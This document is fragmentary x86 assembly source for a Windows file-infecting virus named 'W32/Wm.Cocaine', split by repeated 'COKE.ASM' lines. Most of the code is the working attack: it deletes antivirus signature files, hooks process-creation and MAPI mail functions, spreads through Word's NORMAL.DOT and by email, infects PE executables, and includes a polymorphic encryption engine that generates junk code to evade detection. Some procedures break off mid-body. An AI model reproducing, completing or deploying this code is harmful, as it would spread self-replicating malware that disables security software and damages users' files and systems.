db 'RegSetValueExA', 0
@@a11:
push eax
call @@aaa
db 'RegCreateKeyExA', 0
@@aaa:
push eax
call @@baa
db 'RegOpenKeyExA', 0
@@baa:
COKE.ASM
push eax
call @@caa
db 'RegQueryValueExA', 0
@@caa:
push eax
call @@d
db 'RegCloseKey', 0
@@d:
push eax ;retrieve all needed APIs
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegCloseKey-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegQueryValueEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegOpenKeyEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegCreateKeyEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegSetValueEx-ofs vcode)], eax
call @@a1
db 'KERNEL.AVC', 0
@@a1:
call DeleteShitFile
call @@a2
db 'SIGN.DEF', 0
@@a2:
call DeleteShitFile
call @@a3
db 'FIND.DRV', 0
@@a3:
call DeleteShitFile
call @@a4
db 'NOD32.000', 0
@@a4:
call DeleteShitFile
call @@a5
db 'DSAVIO32.DLL', 0
@@a5:
call DeleteShitFile
call @@a6
db 'SCAN.DAT', 0
@@a6:
call DeleteShitFile
COKE.ASM
call @@a7
db 'VIRSCAN.DAT', 0
@@a7:
call DeleteShitFile
call @@a8
db 'C:\COCAINE.SRC', 0
@@a8:
call DeleteShitFile
call random0
mov [ebp+(ofs key1-ofs vcode)], eax
call random0
mov [ebp+(ofs key2-ofs vcode)], eax
call MacroSpread
call random0
add by [ebp+(ofs macro_key-ofs vcode)], al
call macro_crypt ;encript macro stuff
push MAX_PATH
push edx
call [ebp+(ofs _GetWindowsDirectoryA-ofs vcode)]
test eax, eax
jz @@11
call ProcessDir
@@11:
; lea edx, [ebp+(ofs directory-ofs vcode)]
; push MAX_PATH
; push edx
; call [ebp+(ofs _GetSystemDirectoryA-ofs vcode)]
; test eax, eax
; jz @@12
; call ProcessDir
; @@12:
ENDIF
mov esi, [ebp+(ofs _base-ofs vcode)]
@@a:
lea eax, [ebp+(ofs NewWinExec-ofs vcode)]
mov ecx, 0 ;hook per-process functionz
OldWinExec equ dwo $-4
jecxz @@8
call PatchIT
@@8:
lea eax, [ebp+(ofs NewCreateProcessA-ofs vcode)]
mov ecx, 0
OldCreateProcessA equ dwo $-4
jecxz @@9
call PatchIT
@@9:
lea eax, [ebp+(ofs NewMAPISendMail-ofs vcode)]
mov ecx, 0
OldMAPISendMail equ dwo $-4
jecxz @@92
call PatchIT
@@92:
lea eax, [ebp+(ofs NewGetProcAddress-ofs vcode)]
mov ecx, 0
OldGetProcAddress equ dwo $-4
jecxz @@93
call PatchIT
@@93:
call Payload
@@3:
call delta
cmp by [ebp+(ofs RestoreChunkz-ofs vcode)], FALSE
je @@aa
jnz @@rc1
@@aa:
mov eax, 365
call random
cmp ax, 24
jne @sajsj
call GetList
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call DeleteShitFile
@sajsj:
call OpenAncev
jc @@jdjd
lea eax, [ebp+(ofs cokefile-ofs vcode)]
push eax
call DeleteShitFile
@@jdjd:
IF DIRECT EQ TRUE
inc dwo [ebp+(ofs what_key-ofs vcode)]
call @@2323
db 'SOFTWARE\Classes\htmlfile\shell\open\command', 0
@@2323:
pop eax
call ConsultKey
call FixKey
sub eax, eax
mov dwo [ebp+(ofs fsizel-ofs vcode)], eax
mov dwo [ebp+(ofs mm_on_off-ofs vcode)], eax
call Infect
call @@2324
db 'SOFTWARE\Classes\mailto\shell\open\command', 0
@@2324:
pop eax
call ConsultKey
call FixKey
sub eax, eax
mov dwo [ebp+(ofs fsizel-ofs vcode)], eax
call Infect
dec dwo [ebp+(ofs what_key-ofs vcode)]
ENDIF
ret2host:
pop dwo fs:[0] ;restore seh frame
pop eax
jmp host ;jmp to host
vinit endp
seh:
mov esp, [esp+8]
jmp ret2host
FixKey proc
push -2
pop ecx
mov edi, esi
@@0:
lodsb
cmp al, '"'
je @@1
test al, al
jz @@2
cmp al, ' '
jne @@3
cmp ecx, -2
je @@2
@@3:
stosb
jmp @@0
@@1:
inc ecx
jecxz @@2
jmp @@0
@@2:
sub eax, eax
stosb
ret
FixKey endp
cokefile db 'C:\COCAINE.SYS', 0
init proc
mov ecx, esp
call @@3
mov esp, [esp+8] ;fix stack
@@1:
call delta
stc ;signal error
mov cl, ?
org $-1
@@2:
clc ;signal sucess
pop dwo fs:[0] ;restore seh frame
sahf
add esp, 4
lahf
ret
db 081h
@@3:
sub eax, eax
push dwo fs:[eax]
mov fs:[eax], esp ;set new seh frame
COKE.ASM
check_base proc
call @@1
mov esp, [esp+8]
call delta
cmp eax, esp
jmp @@0
@@1:
push dwo fs:[0]
mov fs:[0], esp
cmp wo [eax], 'ZM'
@@0:
COKE.ASM
search_et proc
mov eax, [ebx+32]
add eax, edx ;name table ptr
@@1:
mov esi, [eax]
or esi, esi
jz @@3 ;nul ptr
add esi, edx
mov edi, 0
string_search equ dwo $-4
mov ecx, 0
size_search equ dwo $-4
rep cmpsb ;the one we search?
jz @@2
add eax, 4
jmp @@1 ;check next api
@@2:
sub eax, [ebx+32]
sub eax, edx
shr eax, 1 ;div by 2
add eax, [ebx+36]
add eax, edx
movzx eax, wo [eax]
shl eax, 2 ;mul by 4
add eax, [ebx+28]
add eax, edx
mov eax, [eax]
add eax, edx
clc ;signal sucess
mov cl, 12h
org $-1
@@3:
stc ;signal error
ret
search_et endp
gpa_custom proc
push eax ;pointer to api wanted
push ebx ;module handle
jmp _gpa
db 66h
gpa_kernel32 proc
push eax
push dwo [ebp+(ofs K32-ofs vcode)]
_gpa:
call [ebp+(ofs _GetProcAddress-ofs vcode)]
or eax, eax
jz @@1
clc
mov cl, 12h
org $-1
@@1:
stc
ret
gpa_kernel32 endp
gpa_custom endp
COKE.ASM
MAX_RECURSION = 3
JMP_MAX = 16
MAX_SUBROUTINES = 16
flg record{
_key:1, ;1key isnt necessary ;4
_encriptor:2 ;XOR = 00
;NOT = 01
;ADD = 10
;SUB = 11 ;23
_bwd_fwd:1, ;0inc/1dec counter ;1
_direction:1, ;1backward/0forward ;0
}
pushf
db 09ah
mov eax, 64
call random
mov ecx, eax
call _shit
mov [ebp+(ofs decriptor-ofs vcode)], edi;here the decriptor start
call garble ;start of decriptor
lea ebx, [ebp+(ofs make_counter-ofs vcode)]
lea edx, [ebp+(ofs make_pointer-ofs vcode)]
call swapper ;setup start of poly decriptor
push edi ;loop start here
call garble
mov eax, [ebp+(ofs _dec-ofs vcode)]
mov edx, [ebp+(ofs p_reg-ofs vcode)]
or ah, dl
stosw ;store crypt instr
bt dwo [ebp+(ofs flagz-ofs vcode)], 6 ;(mask _key)
jc @@4
mov al, by [ebp+(ofs key-ofs vcode)]
stosb ;store key
@@4:
call garble
lea ebx, [ebp+(ofs upd_counter-ofs vcode)]
lea edx, [ebp+(ofs upd_pointer-ofs vcode)]
call swapper ;update counter and pointer
mov edx, [ebp+(ofs c_reg-ofs vcode)]
call random
jc @@5
call random
js @@7
mov eax, 0c00bh ;or reg, reg
jmp @@8
@@7:
mov eax, 0c085h ;test reg, reg
@@8:
mov ecx, edx
shl edx, 3
or ah, dl
or ah, cl
stosw
jmp @@6
@@5:
mov eax, 0f883h
or ah, dl
stosw ;cmp reg, 0
sub eax, eax
stosb
@@6:
mov ax, 850fh ;do conditional jump
stosw
pop edx
sub edx, edi ;delta distance
sub edx, 4
mov eax, edx
stosd ;jnz start_of_loop
mov dwo [ebp+(ofs reg32-ofs vcode)], 0
call garble
mov al, 0e9h
stosb ;jmp start
mov eax, edi
sub eax, [ebp+(ofs buffer-ofs vcode)]
sub eax, [ebp+(ofs entry-ofs vcode)]
add eax, 4
COKE.ASM
neg eax
stosd
call garble
call garble
mov ecx, [ebp+(ofs buffer-ofs vcode)] ;(this allow the calls be
sub edi, ecx ;forward/backward direction)
xchg edi, ecx
mov eax, [ebp+(ofs decriptor-ofs vcode)];calculate new entrypoint
sub eax, [ebp+(ofs buffer-ofs vcode)] ;relative to previous rva
pop esi
ret
poly endp
gar proc
call random0 ;get any reg
and eax, 0111b
cmp al, 4 ;esp never
je gar
ret
gar endp
get8free proc
mov eax, [ebp+(ofs reg32-ofs vcode)]
and eax, 01111b
cmp eax, 01111b
jne @@1
stc
ret
@@1:
call random0
and eax, 011b
bt [ebp+(ofs reg32-ofs vcode)], eax ;al,cl,dl,bl
jc get8free
call random_f
jc @@2
or al, 0100b ;ah,ch,dh,bh
@@2:
ret
get8free endp
swapper proc
call random0
jc @@1
xchg edx, ebx ;change order
@@1:
push edx
call ebx ;call 1th
call garble
COKE.ASM
pop edx
call edx ;call 2th
call garble
ret
swapper endp
make_counter proc
call get32reg
mov [ebp+(ofs c_reg-ofs vcode)], eax
cmp al, 5 ;ebp complicate methodz
jne @@2
btr [ebp+(ofs reg32-ofs vcode)], eax ;free ebp
jmp make_counter
@@2:
or al, 0b8h
stosb
mov eax, [ebp+(ofs _size-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _bwd_fwd
jnz @@1
neg eax ;counter will be INCed
@@1:
stosd
ret
make_counter endp
make_pointer proc
call get32reg
cmp al, 5 ;ebp complicate methodz
jne @@1
btr [ebp+(ofs reg32-ofs vcode)], eax ;free ebp
jmp make_pointer
@@1:
mov [ebp+(ofs p_reg-ofs vcode)], eax
or al, 0b8h
stosb
mov eax, [ebp+(ofs rva-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _direction
jz @@2
add eax, dwo [ebp+(ofs _size-ofs vcode)];pointer will be DECced
dec eax
@@2:
stosd
ret
make_pointer endp
upd_pointer:
mov eax, [ebp+(ofs p_reg-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _direction
jmp _update_reg
upd_counter:
mov eax, [ebp+(ofs c_reg-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _bwd_fwd
mov eax, 3
call random
or eax, eax
jz @@2 ;choose method
dec eax
jz @@1
xor edx, 0c083h xor 0e883h ;sub<->add
neg bh ;neg(1)
@@1:
pop ecx
mov eax, edx
or ah, cl ;patch reg
stosw
movzx eax, bh ;signal
jmp @@3
@@2:
pop ecx
xchg eax, ebx
or al, cl ;patch reg
@@3:
stosb
ret
_update_reg endp
garble proc
pushad
inc by [ebp+(ofs recurse-ofs vcode)]
cmp by [ebp+(ofs recurse-ofs vcode)], MAX_RECURSION
jae @@1
mov eax, 8
call random
add eax, 4
mov ecx, eax ;4-11 instructionz
@@0:
push ecx
lea esi, [ebp+(ofs gtable-ofs vcode)]
mov eax, (ofs egtable - ofs gtable)/4
call random
shl eax, 2
add esi, eax
lodsd
add eax, ebp
cmp by [ebp+(ofs lgarble-ofs vcode)], al
je @@2 ;same?
mov by [ebp+(ofs lgarble-ofs vcode)], al
call eax
@@2:
pop ecx
loop @@0
@@1:
dec by [ebp+(ofs recurse-ofs vcode)]
mov [esp], edi ;copy of edi in stack
popad
ret
garble endp
make_subs proc
cmp by [ebp+(ofs s_into-ofs vcode)], 0
jne @@1
cmp dwo [ebp+(ofs subs_index-ofs vcode)], MAX_SUBROUTINES
ja @@1
inc by [ebp+(ofs s_into-ofs vcode)] ;mark into
COKE.ASM
make_call proc
cmp by [ebp+(ofs s_into-ofs vcode)], 0
jne @@1 ;cant call while creating sub
mov eax, [ebp+(ofs subs_index-ofs vcode)]
test eax, eax
jz @@1
call random ;choose one of the subs ready
mov ecx, 6
cdq
mul ecx
lea esi, [ebp+eax+(ofs subs_table-ofs vcode)]
movzx ecx, by [esi.4]
jecxz @@2 ;how much paramz it need?
@@3:
call gar
or al, 50h ;push paramz
stosb
loop @@3
@@2:
mov al, 0e8h
stosb ;build call
mov eax, dwo [esi]
sub eax, edi
sub eax,4
stosd ;store displacement
@@1:
ret
make_call endp
lea_dword proc
mov al, 8dh
stosb
call get32free
shl eax, 3
push eax
call gar
pop edx
or eax, edx
or al, 80h
stosb
call random0
stosd
ret
lea_dword endp
math_byte proc
mov eax, 8
call random
shl eax, 3
or eax, 1000000011000000b ;make math operation
push eax
call get8free
pop edx
jc @@1
or eax, edx
COKE.ASM
xchg al, ah
stosw
call random0
stosb ;byte
@@1:
ret
math_byte endp
math_word proc
mov ax, 8166h
stosw
call _math_imm
stosw
ret
math_word endp
math_dword proc
mov al, 81h
stosb
call _math_imm
stosd
ret
math_dword endp
_math_imm proc
mov eax, 8
call random
shl eax, 3
or al, 11000000b
push eax
call get32free
pop edx
or eax, edx ;patch reg into
stosb
call random0
ret
_math_imm endp
push_pop proc
call gar
or al, 50h
stosb
call garble ;recurse into
call get32free
or al, 58h
stosb
ret
push_pop endp
jmpcn proc
mov eax, 0fh
call random
or ax, 0f80h ;jcc near
xchg al, ah
stosw
stosd
push edi
call garble ;recurse
pop esi
mov eax, edi
sub eax, esi
mov dwo [esi-4], eax ;fix jcc
COKE.ASM
ret
jmpcn endp
jmpcs proc
mov eax, 0fh
call random
or al, 70h ;make jmp conditional
stosw
push edi
call garble ;recurse
pop esi
push edi
mov eax, esi
xchg eax, edi
sub eax, edi
mov by [esi-1], al ;fix jcc
or al, al
jns @@1 ;jmp destiny too far?
mov edi, esi
dec edi
dec edi
call one_byte ;replace with 2 byte instr
call one_byte
@@1:
pop edi
ret
jmpcs endp
jmpn proc
mov al, 0e9h
stosb
mov eax, JMP_MAX
call random
inc eax
mov ecx, eax
stosd
jmp _shit
jmpn endp
jmps proc
mov eax, JMP_MAX
call random
inc eax
mov ecx, eax
mov ah, 0ebh
xchg al, ah
stosw
movzx eax, ah
_shit:
call random0 ;ecx bytes of shit
stosb
loop _shit
ret
jmps endp
movr_byte proc
call gar
push eax
call get8free
jnc @@1
pop eax
ret
COKE.ASM
@@1:
push eax
mov al, 08ah
jmp _reg_reg
movr_byte endp
movr_word proc
mov al, 66h ;word-size prefix
stosb
movr_word endp
movr_dword proc
call gar
push eax
call get32free
push eax
mov al, 08bh
_reg_reg:
stosb
pop eax ;destino
pop edx ;source
shl eax, 3
or eax, edx
or eax, 11000000b
stosb
ret
movr_dword endp
mov_dword proc
call get32free
or al, 0b8h
stosb
call random0
stosd
ret
mov_dword endp
mov_word proc
mov al, 66h
stosb
call get32free
or al, 0b8h
stosb
call random0
stosw
ret
mov_word endp
mov_byte proc
call get8free
jc @@1
or al, 0b0h
stosb
call random0
stosb
@@1:
ret
mov_byte endp
one_byte proc
mov eax, 5
call random
COKE.ASM
inc_dec proc
call get32free
add al, 40h
call random_f
js @@1
or al, 01000b ;inc/dec
@@1:
stosb
ret
inc_dec endp
mov_zs_x proc
call random0
mov eax, 0b60fh
js @@1
mov ah, 0beh ;z/s
@@1:
adc ah, 0 ;16/8
stosw
call gar
push eax
call get32free
shl eax, 3
pop edx
or eax, edx
or al, 0c0h
stosb
ret
mov_zs_x endp
title1 db 'W32/Wm.Cocaine', 0
COKE.ASM
Payload:
nop ;on/off switch
sub ecx, ecx
push ecx
lea eax, [ebp+(ofs title1-ofs vcode)]
push eax
mov eax, 7
call random
mov eax, [ebp+(ofs text_table-ofs vcode)+eax*4]
add eax, ebp
push eax ;silly MessageBox payload
push ecx
call [ebp+(ofs _MessageBoxA-ofs vcode)]
ret
kernel db 'KERNEL32', 0
user db 'USER32', 0
mapi db 'MAPI32', 0
align 4
sExitProcess db 'ExitProcess', 0
sGetCurrentProcess db 'GetCurrentProcess', 0
sWriteProcessMemory db 'WriteProcessMemory',0
sWriteFile db 'WriteFile', 0
sDeleteFileA db 'DeleteFileA', 0
sSleep db 'Sleep', 0
sCreateThread db 'CreateThread', 0
sGetFileSize db 'GetFileSize', 0
sSetFilePointer db 'SetFilePointer', 0
sMAPISendMail db 'MAPISendMail', 0
ConsultKey proc
call @@1
@@1v dd 0
@@1:
push 000F003Fh ;KEY_ALL_ACCESS
push 0
push eax
push 80000001H
what_key equ dwo $-4
call [ebp+(ofs _RegOpenKeyEx-ofs vcode)]
test eax, eax
jnz @@0
call @@3
dd 0
@@3:
mov edx, [esp]
mov dwo [edx], MAX_PATH
lea eax, [ebp+(ofs directory-ofs vcode)]
mov esi, eax
mov [eax], eax
push eax
push 0
push 0
call @@4
db 0
@@4:
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegQueryValueEx-ofs vcode)]
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegCloseKey-ofs vcode)] ;close key
@@0:
ret
ConsultKey endp
align 4
DeleteShitFile proc
call delta
mov ebx, [esp+4]
push 80h
push ebx
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz @@1
push ebx
call [ebp+(ofs _DeleteFileA-ofs vcode)]
@@1:
ret 4
DeleteShitFile endp
NewMAPISendMail proc
push esp ;original MAPISendMail
pushad
call delta
lea eax, [ebp+(ofs mapi-ofs vcode)]
push eax
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
lea ecx, [ebp+(ofs sMAPISendMail-ofs vcode)]
push ecx
push eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [esp+(8*4)], eax ;return address=MAPISendMail
call OpenAncev
jc @@4 ;file dont exists, binary send
call GetTemplateDir
@@aaa:
lodsb
test al, al
jnz @@aaa
call @@aab
ndot db '\NORMAL.DOT', 0
@@aab:
pop edi
xchg edi, esi
dec edi
@@aac:
lodsb
stosb
test al, al ;we'll send infected NORMAL.DOT
jnz @@aac
call CreateDropper
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]
NewCreateProcessA proc
push esp ;new handler for CreateProcessA
pushad
call CheckName
call delta
mov eax, [ebp+(ofs _CreateProcessA-ofs vcode)]
mov [esp+(7*4)+4], eax
popad
ret
NewCreateProcessA endp
RestoreChunkz db FALSE
NewWinExec proc
push esp ;new handler for WinExec
pushad
call CheckName
call delta
mov eax, [ebp+(ofs _WinExec-ofs vcode)]
mov [esp+(7*4)+4], eax
popad
ret
NewWinExec endp
ProcessDir proc
pushad
COKE.ASM
peh_machine = 4
peh_nosections = 6
peh_ntheader = 20
peh_flags = 22
peh_initdata = 32
peh_entrypoint = 40
peh_imagebase = 52
peh_imagesize = 80
peh_chksum = 88
peh_reloc1 = 160
peh_reloc2 = 164
seh_rvasz = 8
seh_rva = 12
seh_rawsz = 16
seh_raw = 20
seh_attr = 36
pushad
mov eax, [esi+peh_entrypoint]
mov [ebp+(ofs old_eip-ofs vcode)], eax ;copy entrypoint
mov edi, esi
movzx ecx, wo [edi+peh_ntheader]
add ecx, 24
add edi, ecx ;edi=first section header
mov eax, [edi+seh_rva]
mov [ebp+(ofs sRVA-ofs vcode)], eax
mov eax, [edi+seh_rawsz]
mov [ebp+(ofs RawSize-ofs vcode)], eax ;set vars for branch_entry
push 00000040h
push 00002000h+00001000h+00100000h
push 32*1024
push 0
COKE.ASM
pop eax
mov [esi+(ofs OldMAPISendMail-ofs vcode)], eax
pop eax
mov [esi+(ofs OldWinExec-ofs vcode)], eax
pop eax
mov [esi+(ofs OldCreateProcessA-ofs vcode)], eax
pop eax
mov [esi+(ofs OldGetModuleHandleA-ofs vcode)], eax
pop eax
mov [esi+(ofs OldGetProcAddress-ofs vcode)], eax
COKE.ASM
pushad
push ecx
mov ecx, 128
push esi edi
rep movsb ;copy bytes at chunk
pop esi edi
pop ecx
push eax
call virtual2physical_
add eax, [ebp+(ofs map@-ofs vcode)]
mov ebx, edi
sub eax, ebx ;calc distance between chunks
mov [edi-4], eax ;patch JMP
lea eax, [edi-4] ;last patcheable jump
sub eax, [ebp+(ofs map@-ofs vcode)]
mov [ebp+(ofs patch_jump-ofs vcode)], eax
mov edi, esi
add edi, [edi-4] ;edi(table)=edi+2 dwords+junk
;(cut excess copied bytes)
pop eax
cmp ecx, MAX_BRANCH ;process next chunk
jb @@be1
popad
@@a:
pushad
mov edi, esi
mov eax, [ebp+(ofs key1-ofs vcode)]
mov ecx, (ofs dec_end_code-ofs vcode)/4
@@loop1:
xor [edi], eax ;do 2nd loop(internal)
scasd
add eax, [ebp+(ofs key2-ofs vcode)]
loop @@loop1
popad
mov eax, (ofs DecriptInit-ofs vcode) ;where our code get control
mov ecx, vsize
call mutate ;encript
COKE.ASM
pushad
mov edi, [ebp+(ofs patch_jump-ofs vcode)]
mov eax, edi
add edi, ebx
call physical2virtual_ ;get rva of jump immediate
mov ebx, eax
mov eax, [ebp+(ofs ep-ofs vcode)]
sub eax, ebx ;sub it from new eip
sub eax, 4
mov [edi], eax ;patch jmp
popad
COKE.ASM
jmp @@12
@@11:
mov eax, [ebp+(ofs ep-ofs vcode)] ;get new eip
mov esi, [esp]
mov [esi+peh_entrypoint], eax ;set it in pe header
@@12:
add edi, ebx ;edi=raw ofs+raw sz+mbase
mov esi, [ebp+(ofs polybuffer-ofs vcode)]
mov edx, [ebp+(ofs tamanho-ofs vcode)]
mov ecx, edx
cld
rep movsb ;zopy vilus codle
call ChecksumMappedFile
mov [esi+peh_chksum], eax
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs buffer1-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs buffer2-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free bufferz
mov by [ebp+(ofs inf?-ofs vcode)], 0
COKE.ASM
jmp @@0
@@fux0red:
popad
jmp @@a
remove_seh:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
ret
Infect endp
AlignD proc
push ebp edx
mov ebp, DIV_VALUE
jmp _align
AlignD endp
AlignO proc
push ebp edx
mov ebp, [esi+56]
jmp _align
AlignO endp
AlignF proc
push ebp edx
mov ebp, [esi+60]
_align:
sub edx, edx
div ebp
test edx, edx
jz @@1
inc eax
sub edx, edx
@@1:
mul ebp
pop edx ebp
ret
AlignF endp
WriteMem proc
push 0 ;result
push ecx ;size
push esi ;buffer from
push edi ;where write
call [ebp+(ofs _GetCurrentProcess-ofs vcode)]
push eax ;handle to process
call [ebp+(ofs _WriteProcessMemory-ofs vcode)]
ret
WriteMem endp
cp_key db 0
GetList proc
lea edi, [ebp+(ofs directory-ofs vcode)]
push MAX_PATH
push edi
call [ebp+(ofs _GetSystemDirectoryA-ofs vcode)]
lea edi, [edi+eax]
COKE.ASM
call @@1
db '\BRSCBC.DAT', 0
@@1:
pop esi
@@2:
lodsb
stosb
test al, al
jnz @@2
ret
GetList endp
CheckList proc
push eax
call GetList
mov dwo [ebp+(ofs fsizel-ofs vcode)], 1*4
inc by [ebp+(ofs mf_mode-ofs vcode)]
inc by [ebp+(ofs mf_mode1-ofs vcode)]
call MapFile
mov [ebp+(ofs map@-ofs vcode)], eax
dec by [ebp+(ofs mf_mode-ofs vcode)]
dec by [ebp+(ofs mf_mode1-ofs vcode)]
mov edi, eax
test eax, eax
pop eax
jz @@1
mov ecx, [ebp+(ofs fsizel-ofs vcode)]
shr ecx, 2
repne scasd
push ecx
call UnmapFile
pop eax
@@1:
ret
CheckList endp
InsertList proc
call GetList
sub eax, eax
push eax
push 80h
push 3
push eax eax
push 0c0000000h ;read/write
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz @@1
dec eax
push eax
push 0
call @@2
dd 0
@@2:
push 4
lea ecx, [ebp+(ofs email_crc-ofs vcode)]
push ecx
push eax
call [ebp+(ofs _WriteFile-ofs vcode)]
@@1:
ret
InsertList endp
ChecksumMappedFile proc
push ebp
mov ebp, esp
push esi
push ecx
push edx
xor edx, edx
mov esi, [ebp+8]
mov ecx, [ebp+12]
shr ecx, 1
@@1:
movzx eax, wo [esi]
add edx, eax
mov eax, edx
and edx, 0FFFFh
shr eax, 10h
add edx, eax
add esi, 2
loop @@1
mov eax, edx
shr eax, 10h
add ax, dx
add eax, [ebp+12]
pop edx
pop ecx
pop esi
leave
retn 8
ChecksumMappedFile endp
SearchIT proc
pushad
call sne
mov esp,[esp+8] ;fix stack
_rseh:
sub eax, eax ;signal not found
jmp rseh
sne:
sub edx, edx
push dwo fs:[edx]
mov fs:[edx], esp ;set SEH
call gpa_kernel32 ;get add for the case it is bound
mov edi, eax
mov eax, dwo [esi+128] ;import dir
push edi
call virtual2physical
COKE.ASM
pop edi
jc @@3
mov edx, eax
add edx, ebx
@@2:
cmp dwo [edx], 0
je @@3
mov eax, [edx+12] ;get module name
push edi
call virtual2physical
pop edi
jc @@0
add eax, ebx
mov ecx, 12345678h
dll_name equ dwo $-4
call strcmp
jz @@1
@@0:
add edx, 20 ;check next
jmp @@2 ;process next dir
@@3:
jmp _rseh
@@1:
mov eax, [edx+16] ;pointer to name table pointer
mov ebp, eax
push edi
call virtual2physical
pop edi
jc @@3
add eax, ebx
mov edx, esi
mov esi, eax
sub ecx, ecx
@@4:
lodsd ;load pointer to name
test eax, eax
jz @@3 ;ebx=base
inc ecx
cmp eax, edi
jz @@6
cmp eax, 077f00000h
ja @@4 ;pointing to kernel? is bound
xchg esi, edx
push edi
call virtual2physical ;edx=table esi=pe header
pop edi
jc @@3
push edi
mov edi, [esp+(7*4)+4+8] ;load requested API
push esi
lea esi, [eax+ebx+2]
dec edi
@@7:
inc edi
lodsb
test al, al
jz @@5
cmp [edi], al
je @@7
pop esi
pop edi
xchg esi, edx ;esi=table edx=pe header
COKE.ASM
jmp @@4
@@5:
pop eax
pop eax
@@6:
dec ecx
lea eax, [ebp+(ecx*4)]
rseh:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
mov dwo [esp+(7*4)], eax
popad
ret
SearchIT endp
strcmp proc
push edx ebx edi
@@2:
mov bl, [eax]
cmp bl, 'a'
jb @@3
cmp bl, 'z'
ja @@3
and bl, not 20h
@@3:
cmp by [ecx], 0
jz @@1
cmp [ecx], bl
jnz @@1
inc ecx
inc eax
jmp @@2
@@1:
pop edi ebx edx
ret
strcmp endp
virtual2physical proc
push ecx esi
mov edi, esi
movzx ecx, wo [esi+20]
add edi, 24
add edi, ecx ;edi eq 1th section header
movzx ecx, wo [esi+peh_nosections]
@@0:
push eax
sub eax, [edi+12] ;sub RVA
cmp eax, [edi+8] ;pointing inside?
jb @@1
pop eax
add edi, 40 ;next section header
loop @@0
sub eax, eax
stc ;signal error
jmp @@2
@@1:
add eax, [edi+20] ;add raw pointer
pop ecx ;fix stack
@@2:
pop esi ecx ;eax=fisical place
ret ;edi=section
COKE.ASM
virtual2physical endp
virtual2physical_ proc
pushad
mov esi, [ebp+(ofs pe_header-ofs vcode)]
call virtual2physical
mov [esp+(7*4)], eax
popad
ret
virtual2physical_ endp
physical2virtual_ proc
pushad
mov esi, [ebp+(ofs pe_header-ofs vcode)]
call physical2virtual
mov [esp+(7*4)], eax
popad
ret
physical2virtual_ endp
physical2virtual proc
push ecx esi
mov esi, [ebp+(ofs pe_header-ofs vcode)]
mov edi, esi
movzx ecx, wo [esi+20]
add edi, 24
add edi, ecx ;edi eq 1th section header
movzx ecx, wo [esi+peh_nosections]
@@0:
push eax
sub eax, [edi+20] ;sub physical start
cmp eax, [edi+16] ;still pointing to this section
jb @@1
pop eax
add edi, 40 ;next section header
loop @@0
sub eax, eax
stc ;signal error
jmp @@2
@@1:
add eax, [edi+12] ;add rva
pop ecx
@@2:
pop esi ecx ;eax=fisical place
ret ;edi=section
physical2virtual endp
MapFile proc
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
test eax, eax
jz @@1 ;if [mm_on_off] contains a @
clc ;treat it like a memory mapped
ret ;file
@@1:
push -1
mf_mode1 equ by $-1
pop ecx
jecxz @@212
push 80h
lea eax, [ebp+(ofs directory-ofs vcode)]
COKE.ASM
push eax
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz error_map ;blank attributes
@@212:
sub eax, eax
push eax
push 80h
push 3
mf_mode equ by $-1
push eax eax
push 0c0000000h ;read/write
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz error_mapf
dec eax
mov [ebp+(ofs handle1-ofs vcode)], eax
push ebx
push eax
call [ebp+(ofs _GetFileSize-ofs vcode)]
mov [ebp+(ofs fsizel-ofs vcode)], eax
sub edx, edx
mov ecx, DIV_VALUE
div ecx
test edx, edx
jz close_map
@@2:
CheckName proc
push ebp
COKE.ASM
call _seh
mov esp,[esp+8] ;fix stack
jmp remove_seh
_seh:
sub ecx, ecx
push dwo fs:[ecx]
mov fs:[ecx], esp
cld
call delta
lea edi, [ebp+(ofs directory-ofs vcode)]
push edi
mov esi, [esp+(7*4)+(4*6)+(2*4)] ;get pointer to path name
@@1:
lodsb
cmp al, '\'
jne @@5
inc ecx ;signal slash found
@@5:
cmp al, '"'
je @@1
cmp al, "'" ;ignore these
je @@1
cmp al, 'a'
jb @@3
cmp al, 'z'
ja @@3
and al, not 20h ;make upcase
@@3:
stosb
test al, al
jnz @@1
dec edi
jecxz @@7
@@2:
mov al, by [edi-1]
cmp al, 20h
je @@8
add bl, al ;calc chksum
@@8:
dec edi
cmp al, '\' ;find backslash
jnz @@2
@@7:
mov eax, edi
pop edx
jecxz @@6
sub eax, edx
push ebx
call ProcessDir ;process directory
pop ebx
@@6:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
pop ebp
ret
CheckName endp
UnmapFile proc
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
test eax, eax
jz @@1
COKE.ASM
clc
ret
@@1:
push dwo [ebp+(ofs map@-ofs vcode)]
